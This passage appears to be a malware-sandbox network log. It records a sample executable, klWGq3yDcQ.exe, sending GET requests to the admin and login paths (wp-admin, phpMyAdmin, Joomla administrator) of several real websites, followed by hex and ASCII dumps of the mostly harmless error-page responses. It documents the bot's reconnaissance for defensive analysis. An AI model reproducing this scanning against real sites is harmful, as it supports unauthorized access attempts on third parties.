2023-11-26 05:59:38 UTC	1252	IN	Data Raw: 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 Data Ascii: scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="
2023-11-26 05:59:38 UTC	1252	IN	Data Raw: 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 Data Ascii: party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/e
2023-11-26 05:59:38 UTC	188	IN	Data Raw: 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: egardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.4	60835	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	174	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	644	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 65 73 6f 66 74 2e 61 63 61 64 65 6d 79 2f 70 68 70 4d 79 41 64 6d 69 6e 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeLocation: https://esoft.academy/phpMyAdminCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:38 UTC	422	IN	Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 6d 61 72 67 69 6e 3a 20 32 30 70 78 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 7d 0a 20 20 20 20 2e 65 72 72 6f 72 20 7b 63 6f 6c 6f 72 3a 20 23 65 30 30 3b 7d 0a 20 20 20 20 70 72 65 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 7d 0a 20 20 20 20 68 31 20 7b 66 Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title><style> body {margin: 20px; font-family: helvetica, sans-serif; max-width: 800px;} .error {color: #e00;} pre {font-size: 16px;} h1 {f
2023-11-26 05:59:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.4	60846	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	215	OUT	GET /wp-admin/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://ce-logic.com/wp-login.php
2023-11-26 05:59:38 UTC	262	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTServer: Apache/2.4.52 (Ubuntu)vary: X-Forwarded-Protocolcache-control: no-cache, no-store, must-revalidateConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=ut
2023-11-26 05:59:38 UTC	7930	IN	Data Raw: 35 38 33 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 62 61 73 65 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 Data Ascii: 5836<!doctype html><html class="no-js" lang="en"> <head> <base href="https://ce-logic.com/">...[if lte IE 6]></base><![endif]--> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Pa
2023-11-26 05:59:38 UTC	14658	IN	Data Raw: 52 65 73 65 61 72 63 68 20 53 6f 6c 75 74 69 6f 6e 73 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 65 64 75 63 61 74 69 6f 6e 61 6c 2d 73 6f 6c 75 74 69 6f 6e 73 2d 70 61 67 65 2f 6d 61 6b 65 72 73 70 61 63 65 2f 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 77 68 69 74 65 20 61 6c 69 67 6e 2d 63 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 62 74 6e 2d 74 65 78 74 22 3e 4d 61 6b 65 72 73 70 61 63 65 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 Data Ascii: Research Solutions</p></a><a href="/educational-solutions-page/makerspace/" class="btn white align-c"><p class="btn-text">Makerspace</p></a></div></div></div>
2023-11-26 05:59:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.4	60673	185.135.132.105	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	241	OUT	GET /administrator/index.php HTTP/1.1 Host: www.grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.grantstech.io/administrator/
2023-11-26 05:59:38 UTC	319	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 4d 49 53 53 0d 0a 58 2d 43 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=0Expires: Sun, 26 Nov 2023 05:59:38 GMTVary: Accept-EncodingX-Cache-Status: MISSX-C
2023-11-26 05:59:38 UTC	634	IN	Data Raw: 32 36 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 73 63 72 69 Data Ascii: 26e<!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="descri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.4	60851	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	230	OUT	GET /wp-admin HTTP/1.1 Host: www.linkan-group.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.linkan-group.com/wp-login.php
2023-11-26 05:59:38 UTC	1079	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 38 2e 36 36 35 31 30 33 35 39 34 39 35 33 34 34 31 35 31 39 31 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978378.6651035949534415191Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10
2023-11-26 05:59:38 UTC	173	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-
2023-11-26 05:59:38 UTC	1252	IN	Data Raw: 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 Data Ascii: scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="
2023-11-26 05:59:38 UTC	1252	IN	Data Raw: 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 Data Ascii: party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/e
2023-11-26 05:59:38 UTC	188	IN	Data Raw: 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: egardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.4	60859	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	220	OUT	GET /wp-admin HTTP/1.1 Host: www.2brospw.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.2brospw.com/wp-login.php
2023-11-26 05:59:38 UTC	1086	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 38 2e 36 38 31 31 30 33 35 39 38 39 30 30 36 34 30 32 35 38 38 31 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978378.68110359890064025881Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Opti
2023-11-26 05:59:38 UTC	166	IN	Data Raw: 62 33 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: b31 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sc
2023-11-26 05:59:38 UTC	1252	IN	Data Raw: 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 Data Ascii: ale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width">
2023-11-26 05:59:38 UTC	1252	IN	Data Raw: 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 Data Ascii: vices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719
